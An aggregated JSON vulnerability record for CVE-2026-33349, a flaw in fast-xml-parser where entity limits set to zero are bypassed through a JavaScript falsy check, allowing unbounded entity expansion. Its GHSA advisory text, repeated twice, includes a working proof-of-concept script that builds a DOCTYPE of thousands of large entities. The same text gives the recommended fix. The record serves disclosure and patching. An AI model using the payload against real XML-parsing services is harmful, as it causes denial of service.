{"id":"CVE-2026-33349","aliases":["CLSA-2026-1781744119","CLSA-2026-1786373314","CLSA-2026-1792454133","CLSA-2026-1792698537","CLSA-2026-1793867510","DEBIAN-CVE-2026-33349","EUVD-2026-20080","GHSA-jp2q-39xq-3w4g","ROOT-APP-NPM-CVE-2026-33349","UBUNTU-CVE-2026-33349"],"status":"published","title":"fast-xml-parser: Entity Expansion Limits Bypassed When Set to Zero Due to JavaScript Falsy Evaluation","description":"fast-xml-parser allows users to process XML from JS object without C/C++ based libraries or callbacks. From version 4.0.0-beta.3 to before version 5.5.7, the DocTypeReader in fast-xml-parser uses JavaScript truthy checks to evaluate maxEntityCount and maxEntitySize configuration limits. When a developer explicitly sets either limit to 0 — intending to disallow all entities or restrict entity size to zero bytes — the falsy nature of 0 in JavaScript causes the guard conditions to short-circuit, completely bypassing the limits. An attacker who can supply XML input to such an application can trigger unbounded entity expansion, leading to memory exhaustion and denial of service. This issue has been patched in version 5.5.7.","severity":{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00477,"percentile":0.41537,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-1284"],"published":"2026-03-19T19:13:13Z","modified":"2026-11-05T13:15:12Z","fixes":[{"ecosystem":"npm","package":"fast-xml-parser","fixed_in":["4.5.5","5.5.7"],"sources":["ghsa","osv"]},{"ecosystem":"TuxCare:npm","package":"fast-xml-parser","fixed_in":["4.5.3-tuxcare.5","4.4.0-tuxcare.2"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"@rootio/fast-xml-parser","fixed_in":["4.4.1-root.io.7","5.3.4-root.io.5","5.3.6-root.io.3","4.4.1-root.io.8","5.2.5-root.io.3","5.3.4-root.io.6","5.3.6-root.io.4","4.4.1-root.io.9","5.2.5-root.io.4","5.3.4-root.io.7","5.3.6-root.io.5","5.3.4-root.io.8","5.3.6-root.io.6","4.5.4-root.io.1"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"fast-xml-parser","fixed_in":["4.4.1-aikido.9","5.2.5-aikido.4","5.3.4-aikido.7","5.3.6-aikido.5","5.3.4-aikido.8","5.3.6-aikido.6","4.5.4-aikido.1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"fast-xml-parser","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.0-beta.3"},{"fixed":"4.5.5"}]}]},{"source":"ghsa","ecosystem":"npm","package":"fast-xml-parser","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"5.0.0"},{"fixed":"5.5.7"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"fast-xml-parser","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.2.7-tuxcare.0"},{"fixed":"4.2.7-tuxcare.1"}]}],"versions":["4.2.7"],"bundled":6},{"source":"osv","ecosystem":"TuxCare:npm","package":"fast-xml-parser","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.5.3-tuxcare.0"},{"fixed":"4.5.3-tuxcare.5"}]}],"versions":["4.5.3","4.5.3-tuxcare.1","4.5.3-tuxcare.2","4.5.3-tuxcare.3","4.5.3-tuxcare.4"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"fast-xml-parser","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"5.2.5-tuxcare.0"},{"fixed":"5.2.5-tuxcare.1"}]}],"versions":["5.2.5"],"bundled":7},{"source":"osv","ecosystem":"TuxCare:npm","package":"fast-xml-parser","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.4.1-tuxcare.0"},{"fixed":"4.4.1-tuxcare.2"}]}],"versions":["4.4.1","4.4.1-tuxcare.1"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:npm","package":"fast-xml-parser","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.4.0-tuxcare.0"},{"fixed":"4.4.0-tuxcare.2"}]}],"versions":["4.4.0","4.4.0-tuxcare.1"]},{"source":"osv","ecosystem":"Debian:12","package":"node-webfont","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["11.4.0+dfsg2+~cs35.7.26-10","11.4.0+dfsg2+~cs35.7.26-11","11.4.0+dfsg2+~cs35.7.26-12","11.4.0+dfsg2+~cs35.7.26-13","11.4.0+dfsg2+~cs35.7.26-14","11.4.0+dfsg2+~cs35.7.26-15","11.4.0+dfsg2+~cs35.7.26-16","11.4.0+dfsg2+~cs35.7.26-18","11.4.0+dfsg2+~cs35.7.26-19","11.4.0+dfsg2+~cs35.7.26-20","11.4.0+dfsg2+~cs35.7.26-21","11.4.0+dfsg2+~cs35.7.26-7","11.4.0+dfsg2+~cs35.7.26-8","11.4.0+dfsg2+~cs35.7.26-9"]},{"source":"osv","ecosystem":"Debian:13","package":"node-webfont","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["11.4.0+dfsg2+~cs35.7.26-13","11.4.0+dfsg2+~cs35.7.26-14","11.4.0+dfsg2+~cs35.7.26-15","11.4.0+dfsg2+~cs35.7.26-16","11.4.0+dfsg2+~cs35.7.26-18","11.4.0+dfsg2+~cs35.7.26-19","11.4.0+dfsg2+~cs35.7.26-20","11.4.0+dfsg2+~cs35.7.26-21"]},{"source":"osv","ecosystem":"Debian:14","package":"node-webfont","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["11.4.0+dfsg2+~cs35.7.26-13","11.4.0+dfsg2+~cs35.7.26-14","11.4.0+dfsg2+~cs35.7.26-15","11.4.0+dfsg2+~cs35.7.26-16","11.4.0+dfsg2+~cs35.7.26-18","11.4.0+dfsg2+~cs35.7.26-19","11.4.0+dfsg2+~cs35.7.26-20","11.4.0+dfsg2+~cs35.7.26-21"]},{"source":"osv","ecosystem":"npm","package":"fast-xml-parser","ranges":[{"type":"SEMVER","events":[{"introduced":"4.0.0-beta.3"},{"fixed":"4.5.5"}]}]},{"source":"osv","ecosystem":"npm","package":"fast-xml-parser","ranges":[{"type":"SEMVER","events":[{"introduced":"5.0.0"},{"fixed":"5.5.7"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/fast-xml-parser","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.4.1-root.io.7"},{"fixed":"5.3.4-root.io.5"},{"fixed":"5.3.6-root.io.3"},{"fixed":"4.4.1-root.io.8"},{"fixed":"5.2.5-root.io.3"},{"fixed":"5.3.4-root.io.6"},{"fixed":"5.3.6-root.io.4"},{"fixed":"4.4.1-root.io.9"},{"fixed":"5.2.5-root.io.4"},{"fixed":"5.3.4-root.io.7"},{"fixed":"5.3.6-root.io.5"},{"fixed":"5.3.4-root.io.8"},{"fixed":"5.3.6-root.io.6"},{"fixed":"4.5.4-root.io.1"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"fast-xml-parser","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.4.1-aikido.9"},{"fixed":"5.2.5-aikido.4"},{"fixed":"5.3.4-aikido.7"},{"fixed":"5.3.6-aikido.5"},{"fixed":"5.3.4-aikido.8"},{"fixed":"5.3.6-aikido.6"},{"fixed":"4.5.4-aikido.1"}]}]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"node-webfont","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["11.4.0+dfsg2+~cs35.7.26-7ubuntu1"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"node-webfont","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["11.4.0+dfsg2+~cs35.7.26-10","11.4.0+dfsg2+~cs35.7.26-13ubuntu2"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"node-webfont","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["11.4.0+dfsg2+~cs35.7.26-18","11.4.0+dfsg2+~cs35.7.26-19"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"node-webfont","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["11.4.0+dfsg2+~cs35.7.26-13ubuntu2","11.4.0+dfsg2+~cs35.7.26-14","11.4.0+dfsg2+~cs35.7.26-15","11.4.0+dfsg2+~cs35.7.26-16build1","11.4.0+dfsg2+~cs35.7.26-18"]}],"products":[{"vendor":"naturalintelligence","product":"fast-xml-parser"}],"references":[{"url":"https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-jp2q-39xq-3w4g","tags":["x_refsource_CONFIRM","exploit","Exploit","Mitigation","Vendor Advisory","advisory","web","report"]},{"url":"https://github.com/NaturalIntelligence/fast-xml-parser/commit/239b64aa1fc5c5455ddebbbb54a187eb68c9fdb7","tags":["x_refsource_MISC","Patch","fix","web","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33349","tags":["advisory"]},{"url":"https://github.com/NaturalIntelligence/fast-xml-parser/commit/88d0936a23dabe51bfbf42255e2ce912dfee2221","tags":["web"]},{"url":"https://github.com/advisories/GHSA-jp2q-39xq-3w4g"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33349.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-33349","tags":["advisory"]},{"url":"https://github.com/NaturalIntelligence/fast-xml-parser","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2026-33349","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-33349","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-33349","title":"fast-xml-parser: Entity Expansion Limits Bypassed When Set to Zero Due to JavaScript Falsy Evaluation","description":"fast-xml-parser allows users to process XML from JS object without C/C++ based libraries or callbacks. From version 4.0.0-beta.3 to before version 5.5.7, the DocTypeReader in fast-xml-parser uses JavaScript truthy checks to evaluate maxEntityCount and maxEntitySize configuration limits. When a developer explicitly sets either limit to 0 — intending to disallow all entities or restrict entity size to zero bytes — the falsy nature of 0 in JavaScript causes the guard conditions to short-circuit, completely bypassing the limits. An attacker who can supply XML input to such an application can trigger unbounded entity expansion, leading to memory exhaustion and denial of service. This issue has been patched in version 5.5.7.","status":"published","published":"2026-03-24T19:35:47.908Z","modified":"2026-03-25T14:28:07.309Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"medium","assessor":"cna"}],"cwes":["CWE-1284"],"updated_at":"2026-11-02T14:20:08.009733Z"}],"euvd":[{"id":"EUVD-2026-20080","description":"fast-xml-parser allows users to process XML from JS object without C/C++ based libraries or callbacks. From version 4.0.0-beta.3 to before version 5.5.7, the DocTypeReader in fast-xml-parser uses JavaScript truthy checks to evaluate maxEntityCount and maxEntitySize configuration limits. When a developer explicitly sets either limit to 0 — intending to disallow all entities or restrict entity size to zero bytes — the falsy nature of 0 in JavaScript causes the guard conditions to short-circuit, completely bypassing the limits. An attacker who can supply XML input to such an application can trigger unbounded entity expansion, leading to memory exhaustion and denial of service. This issue has been patched in version 5.5.7.","status":"published","published":"2026-03-24T19:35:47Z","modified":"2026-03-25T14:28:07Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"medium"}],"updated_at":"2026-11-02T19:25:29.129467Z"}],"ghsa":[{"id":"GHSA-jp2q-39xq-3w4g","title":"Entity Expansion Limits Bypassed When Set to Zero Due to JavaScript Falsy Evaluation in fast-xml-parser","description":"## Summary\n\nThe `DocTypeReader` in fast-xml-parser uses JavaScript truthy checks to evaluate `maxEntityCount` and `maxEntitySize` configuration limits. When a developer explicitly sets either limit to `0` — intending to disallow all entities or restrict entity size to zero bytes — the falsy nature of `0` in JavaScript causes the guard conditions to short-circuit, completely bypassing the limits. An attacker who can supply XML input to such an application can trigger unbounded entity expansion, leading to memory exhaustion and denial of service.\n\n## Details\n\nThe `OptionsBuilder.js` correctly preserves a user-supplied value of `0` using nullish coalescing (`??`):\n\n```js\n// src/xmlparser/OptionsBuilder.js:111\nmaxEntityCount: value.maxEntityCount ?? 100,\n// src/xmlparser/OptionsBuilder.js:107\nmaxEntitySize: value.maxEntitySize ?? 10000,\n```\n\nHowever, `DocTypeReader.js` uses truthy evaluation to check these limits. Because `0` is falsy in JavaScript, the entire guard expression short-circuits to `false`, and the limit is never enforced:\n\n```js\n// src/xmlparser/DocTypeReader.js:30-32\nif (this.options.enabled !== false \u0026\u0026\n    this.options.maxEntityCount \u0026\u0026          // ← 0 is falsy, skips check\n    entityCount \u003e= this.options.maxEntityCount) {\n    throw new Error(`Entity count ...`);\n}\n```\n\n```js\n// src/xmlparser/DocTypeReader.js:128-130\nif (this.options.enabled !== false \u0026\u0026\n    this.options.maxEntitySize \u0026\u0026            // ← 0 is falsy, skips check\n    entityValue.length \u003e this.options.maxEntitySize) {\n    throw new Error(`Entity \"${entityName}\" size ...`);\n}\n```\n\nThe execution flow is:\n\n1. Developer configures `processEntities: { maxEntityCount: 0, maxEntitySize: 0 }` intending to block all entity definitions.\n2. `OptionsBuilder.normalizeProcessEntities` preserves the `0` values via `??` (correct behavior).\n3. Attacker supplies XML with a DOCTYPE containing many large entities.\n4. `DocTypeReader.readDocType` evaluates `this.options.maxEntityCount \u0026\u0026 ...` — since `0` is falsy, the entire condition is `false`.\n5. `DocTypeReader.readEntityExp` evaluates `this.options.maxEntitySize \u0026\u0026 ...` — same result.\n6. All entity count and size limits are bypassed; entities are parsed without restriction.\n\n## PoC\n\n```js\nconst { XMLParser } = require(\"fast-xml-parser\");\n\n// Developer intends: \"no entities allowed at all\"\nconst parser = new XMLParser({\n  processEntities: {\n    enabled: true,\n    maxEntityCount: 0,    // should mean \"zero entities allowed\"\n    maxEntitySize: 0       // should mean \"zero-length entities only\"\n  }\n});\n\n// Generate XML with many large entities\nlet entities = \"\";\nfor (let i = 0; i \u003c 1000; i++) {\n  entities += `\u003c!ENTITY e${i} \"${\"A\".repeat(100000)}\"\u003e`;\n}\n\nconst xml = `\u003c?xml version=\"1.0\"?\u003e\n\u003c!DOCTYPE foo [\n  ${entities}\n]\u003e\n\u003cfoo\u003e\u0026e0;\u003c/foo\u003e`;\n\n// This should throw \"Entity count exceeds maximum\" but does not\ntry {\n  const result = parser.parse(xml);\n  console.log(\"VULNERABLE: parsed without error, entities bypassed limits\");\n} catch (e) {\n  console.log(\"SAFE:\", e.message);\n}\n\n// Control test: setting maxEntityCount to 1 correctly blocks\nconst safeParser = new XMLParser({\n  processEntities: {\n    enabled: true,\n    maxEntityCount: 1,\n    maxEntitySize: 100\n  }\n});\n\ntry {\n  safeParser.parse(xml);\n  console.log(\"ERROR: should have thrown\");\n} catch (e) {\n  console.log(\"CONTROL:\", e.message);  // \"Entity count (2) exceeds maximum allowed (1)\"\n}\n```\n\n**Expected output:**\n```\nVULNERABLE: parsed without error, entities bypassed limits\nCONTROL: Entity count (2) exceeds maximum allowed (1)\n```\n\n## Impact\n\n- **Denial of Service:** An attacker supplying crafted XML with thousands of large entity definitions can exhaust server memory in applications where the developer configured `maxEntityCount: 0` or `maxEntitySize: 0`, intending to prohibit entities entirely.\n- **Security control bypass:** Developers who explicitly set restrictive limits to `0` receive no protection — the opposite of their intent. This creates a false sense of security.\n- **Scope:** Only applications that explicitly set these limits to `0` are affected. The default configuration (`maxEntityCount: 100`, `maxEntitySize: 10000`) is not vulnerable. The `enabled: false` option correctly disables entity processing entirely and is not affected.\n\n## Recommended Fix\n\nReplace the truthy checks in `DocTypeReader.js` with explicit type checks that correctly treat `0` as a valid numeric limit:\n\n```js\n// src/xmlparser/DocTypeReader.js:30-32 — replace:\nif (this.options.enabled !== false \u0026\u0026\n    this.options.maxEntityCount \u0026\u0026\n    entityCount \u003e= this.options.maxEntityCount) {\n\n// with:\nif (this.options.enabled !== false \u0026\u0026\n    typeof this.options.maxEntityCount === 'number' \u0026\u0026\n    entityCount \u003e= this.options.maxEntityCount) {\n```\n\n```js\n// src/xmlparser/DocTypeReader.js:128-130 — replace:\nif (this.options.enabled !== false \u0026\u0026\n    this.options.maxEntitySize \u0026\u0026\n    entityValue.length \u003e this.options.maxEntitySize) {\n\n// with:\nif (this.options.enabled !== false \u0026\u0026\n    typeof this.options.maxEntitySize === 'number' \u0026\u0026\n    entityValue.length \u003e this.options.maxEntitySize) {\n```\n\n# Workaround\n\nIf you don't want to processed the entities, keep the processEntities flag to false instead of setting any limit to 0.","status":"published","published":"2026-03-19T19:13:13Z","modified":"2026-04-08T22:27:45Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"medium"}],"cwes":["CWE-1284"],"updated_at":"2026-11-02T14:39:51.193071Z"}],"nvd":[{"id":"CVE-2026-33349","description":"fast-xml-parser allows users to process XML from JS object without C/C++ based libraries or callbacks. From version 4.0.0-beta.3 to before version 5.5.7, the DocTypeReader in fast-xml-parser uses JavaScript truthy checks to evaluate maxEntityCount and maxEntitySize configuration limits. When a developer explicitly sets either limit to 0 — intending to disallow all entities or restrict entity size to zero bytes — the falsy nature of 0 in JavaScript causes the guard conditions to short-circuit, completely bypassing the limits. An attacker who can supply XML input to such an application can trigger unbounded entity expansion, leading to memory exhaustion and denial of service. This issue has been patched in version 5.5.7.","status":"published","published":"2026-03-24T20:16:29.407Z","modified":"2026-06-17T10:37:21.5Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"medium","assessor":"secondary"}],"cwes":["CWE-1284"],"updated_at":"2026-11-02T14:12:10.568062Z"}],"osv":[{"id":"CVE-2026-33349","title":"fast-xml-parser: Entity Expansion Limits Bypassed When Set to Zero Due to JavaScript Falsy Evaluation","description":"fast-xml-parser allows users to process XML from JS object without C/C++ based libraries or callbacks. From version 4.0.0-beta.3 to before version 5.5.7, the DocTypeReader in fast-xml-parser uses JavaScript truthy checks to evaluate maxEntityCount and maxEntitySize configuration limits. When a developer explicitly sets either limit to 0 — intending to disallow all entities or restrict entity size to zero bytes — the falsy nature of 0 in JavaScript causes the guard conditions to short-circuit, completely bypassing the limits. An attacker who can supply XML input to such an application can trigger unbounded entity expansion, leading to memory exhaustion and denial of service. This issue has been patched in version 5.5.7.","status":"published","published":"2026-03-24T19:35:47.908Z","modified":"2026-10-28T02:31:04.736016575Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"medium"}],"cwes":["CWE-1284"],"updated_at":"2026-11-02T15:45:01.896044Z"},{"id":"DEBIAN-CVE-2026-33349","description":"fast-xml-parser allows users to process XML from JS object without C/C++ based libraries or callbacks. From version 4.0.0-beta.3 to before version 5.5.7, the DocTypeReader in fast-xml-parser uses JavaScript truthy checks to evaluate maxEntityCount and maxEntitySize configuration limits. When a developer explicitly sets either limit to 0 — intending to disallow all entities or restrict entity size to zero bytes — the falsy nature of 0 in JavaScript causes the guard conditions to short-circuit, completely bypassing the limits. An attacker who can supply XML input to such an application can trigger unbounded entity expansion, leading to memory exhaustion and denial of service. This issue has been patched in version 5.5.7.","status":"published","published":"2026-03-24T20:16:29.407Z","modified":"2026-10-01T03:03:04.101766325Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"medium"}],"updated_at":"2026-11-02T15:45:54.587575Z"},{"id":"GHSA-jp2q-39xq-3w4g","title":"Entity Expansion Limits Bypassed When Set to Zero Due to JavaScript Falsy Evaluation in fast-xml-parser","description":"## Summary\n\nThe `DocTypeReader` in fast-xml-parser uses JavaScript truthy checks to evaluate `maxEntityCount` and `maxEntitySize` configuration limits. When a developer explicitly sets either limit to `0` — intending to disallow all entities or restrict entity size to zero bytes — the falsy nature of `0` in JavaScript causes the guard conditions to short-circuit, completely bypassing the limits. An attacker who can supply XML input to such an application can trigger unbounded entity expansion, leading to memory exhaustion and denial of service.\n\n## Details\n\nThe `OptionsBuilder.js` correctly preserves a user-supplied value of `0` using nullish coalescing (`??`):\n\n```js\n// src/xmlparser/OptionsBuilder.js:111\nmaxEntityCount: value.maxEntityCount ?? 100,\n// src/xmlparser/OptionsBuilder.js:107\nmaxEntitySize: value.maxEntitySize ?? 10000,\n```\n\nHowever, `DocTypeReader.js` uses truthy evaluation to check these limits. Because `0` is falsy in JavaScript, the entire guard expression short-circuits to `false`, and the limit is never enforced:\n\n```js\n// src/xmlparser/DocTypeReader.js:30-32\nif (this.options.enabled !== false \u0026\u0026\n    this.options.maxEntityCount \u0026\u0026          // ← 0 is falsy, skips check\n    entityCount \u003e= this.options.maxEntityCount) {\n    throw new Error(`Entity count ...`);\n}\n```\n\n```js\n// src/xmlparser/DocTypeReader.js:128-130\nif (this.options.enabled !== false \u0026\u0026\n    this.options.maxEntitySize \u0026\u0026            // ← 0 is falsy, skips check\n    entityValue.length \u003e this.options.maxEntitySize) {\n    throw new Error(`Entity \"${entityName}\" size ...`);\n}\n```\n\nThe execution flow is:\n\n1. Developer configures `processEntities: { maxEntityCount: 0, maxEntitySize: 0 }` intending to block all entity definitions.\n2. `OptionsBuilder.normalizeProcessEntities` preserves the `0` values via `??` (correct behavior).\n3. Attacker supplies XML with a DOCTYPE containing many large entities.\n4. `DocTypeReader.readDocType` evaluates `this.options.maxEntityCount \u0026\u0026 ...` — since `0` is falsy, the entire condition is `false`.\n5. `DocTypeReader.readEntityExp` evaluates `this.options.maxEntitySize \u0026\u0026 ...` — same result.\n6. All entity count and size limits are bypassed; entities are parsed without restriction.\n\n## PoC\n\n```js\nconst { XMLParser } = require(\"fast-xml-parser\");\n\n// Developer intends: \"no entities allowed at all\"\nconst parser = new XMLParser({\n  processEntities: {\n    enabled: true,\n    maxEntityCount: 0,    // should mean \"zero entities allowed\"\n    maxEntitySize: 0       // should mean \"zero-length entities only\"\n  }\n});\n\n// Generate XML with many large entities\nlet entities = \"\";\nfor (let i = 0; i \u003c 1000; i++) {\n  entities += `\u003c!ENTITY e${i} \"${\"A\".repeat(100000)}\"\u003e`;\n}\n\nconst xml = `\u003c?xml version=\"1.0\"?\u003e\n\u003c!DOCTYPE foo [\n  ${entities}\n]\u003e\n\u003cfoo\u003e\u0026e0;\u003c/foo\u003e`;\n\n// This should throw \"Entity count exceeds maximum\" but does not\ntry {\n  const result = parser.parse(xml);\n  console.log(\"VULNERABLE: parsed without error, entities bypassed limits\");\n} catch (e) {\n  console.log(\"SAFE:\", e.message);\n}\n\n// Control test: setting maxEntityCount to 1 correctly blocks\nconst safeParser = new XMLParser({\n  processEntities: {\n    enabled: true,\n    maxEntityCount: 1,\n    maxEntitySize: 100\n  }\n});\n\ntry {\n  safeParser.parse(xml);\n  console.log(\"ERROR: should have thrown\");\n} catch (e) {\n  console.log(\"CONTROL:\", e.message);  // \"Entity count (2) exceeds maximum allowed (1)\"\n}\n```\n\n**Expected output:**\n```\nVULNERABLE: parsed without error, entities bypassed limits\nCONTROL: Entity count (2) exceeds maximum allowed (1)\n```\n\n## Impact\n\n- **Denial of Service:** An attacker supplying crafted XML with thousands of large entity definitions can exhaust server memory in applications where the developer configured `maxEntityCount: 0` or `maxEntitySize: 0`, intending to prohibit entities entirely.\n- **Security control bypass:** Developers who explicitly set restrictive limits to `0` receive no protection — the opposite of their intent. This creates a false sense of security.\n- **Scope:** Only applications that explicitly set these limits to `0` are affected. The default configuration (`maxEntityCount: 100`, `maxEntitySize: 10000`) is not vulnerable. The `enabled: false` option correctly disables entity processing entirely and is not affected.\n\n## Recommended Fix\n\nReplace the truthy checks in `DocTypeReader.js` with explicit type checks that correctly treat `0` as a valid numeric limit:\n\n```js\n// src/xmlparser/DocTypeReader.js:30-32 — replace:\nif (this.options.enabled !== false \u0026\u0026\n    this.options.maxEntityCount \u0026\u0026\n    entityCount \u003e= this.options.maxEntityCount) {\n\n// with:\nif (this.options.enabled !== false \u0026\u0026\n    typeof this.options.maxEntityCount === 'number' \u0026\u0026\n    entityCount \u003e= this.options.maxEntityCount) {\n```\n\n```js\n// src/xmlparser/DocTypeReader.js:128-130 — replace:\nif (this.options.enabled !== false \u0026\u0026\n    this.options.maxEntitySize \u0026\u0026\n    entityValue.length \u003e this.options.maxEntitySize) {\n\n// with:\nif (this.options.enabled !== false \u0026\u0026\n    typeof this.options.maxEntitySize === 'number' \u0026\u0026\n    entityValue.length \u003e this.options.maxEntitySize) {\n```\n\n# Workaround\n\nIf you don't want to processed the entities, keep the processEntities flag to false instead of setting any limit to 0.","status":"published","published":"2026-03-19T19:13:13Z","modified":"2026-09-10T03:50:39.873055407Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"medium"}],"cwes":["CWE-1284"],"updated_at":"2026-11-02T15:46:50.687609Z"},{"id":"ROOT-APP-NPM-CVE-2026-33349","title":"CVE-2026-33349 in @rootio/fast-xml-parser - Patched by Root","description":"Root has patched CVE-2026-33349 in the @rootio/fast-xml-parser package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-06-30T07:39:47Z","modified":"2026-06-30T13:15:06.124261426Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"medium"}],"updated_at":"2026-11-02T15:53:27.649662Z"},{"id":"UBUNTU-CVE-2026-33349","description":"fast-xml-parser allows users to process XML from JS object without C/C++ based libraries or callbacks. From version 4.0.0-beta.3 to before version 5.5.7, the DocTypeReader in fast-xml-parser uses JavaScript truthy checks to evaluate maxEntityCount and maxEntitySize configuration limits. When a developer explicitly sets either limit to 0 — intending to disallow all entities or restrict entity size to zero bytes — the falsy nature of 0 in JavaScript causes the guard conditions to short-circuit, completely bypassing the limits. An attacker who can supply XML input to such an application can trigger unbounded entity expansion, leading to memory exhaustion and denial of service. This issue has been patched in version 5.5.7.","status":"published","published":"2026-03-24T20:16:00Z","modified":"2026-10-17T12:58:10.614521227Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"medium"}],"updated_at":"2026-11-02T16:56:16.036833Z"},{"id":"CLSA-2026-1781744119","title":"TuxCare security update for fast-xml-parser (6 CVEs)","description":"TuxCare rebuilt fast-xml-parser to address 6 CVEs. Fixed in 4.2.7-tuxcare.1.","status":"published","published":"2026-08-04T14:52:37Z","modified":"2026-10-15T09:45:51.439601431Z","updated_at":"2026-11-02T15:43:45.794021Z"},{"id":"CLSA-2026-1786373314","title":"TuxCare security update for fast-xml-parser (1 CVE)","description":"TuxCare rebuilt fast-xml-parser to address 1 CVE. Fixed in 4.5.3-tuxcare.5.","status":"published","published":"2026-08-10T14:48:34Z","modified":"2026-10-15T09:46:01.711011658Z","updated_at":"2026-11-02T15:43:46.850893Z"},{"id":"CLSA-2026-1792454133","title":"TuxCare security update for fast-xml-parser (7 CVEs)","description":"TuxCare rebuilt fast-xml-parser to address 7 CVEs. Fixed in 5.2.5-tuxcare.1.","status":"published","published":"2026-10-19T23:55:33Z","modified":"2026-10-20T01:45:13.504283365Z","updated_at":"2026-11-02T15:43:54.378946Z"},{"id":"CLSA-2026-1792698537","title":"TuxCare security update for fast-xml-parser (3 CVEs)","description":"TuxCare rebuilt fast-xml-parser to address 3 CVEs. Fixed in 4.4.1-tuxcare.2.","status":"published","published":"2026-10-22T19:48:57Z","modified":"2026-10-23T02:00:22.688376856Z","updated_at":"2026-11-02T15:43:54.981307Z"},{"id":"CLSA-2026-1793867510","title":"TuxCare security update for fast-xml-parser (1 CVE)","description":"TuxCare rebuilt fast-xml-parser to address 1 CVE. Fixed in 4.4.0-tuxcare.2.","status":"published","published":"2026-11-05T09:31:51Z","modified":"2026-11-05T13:15:12.650276223Z","updated_at":"2026-11-05T13:30:00.949926Z"}]}}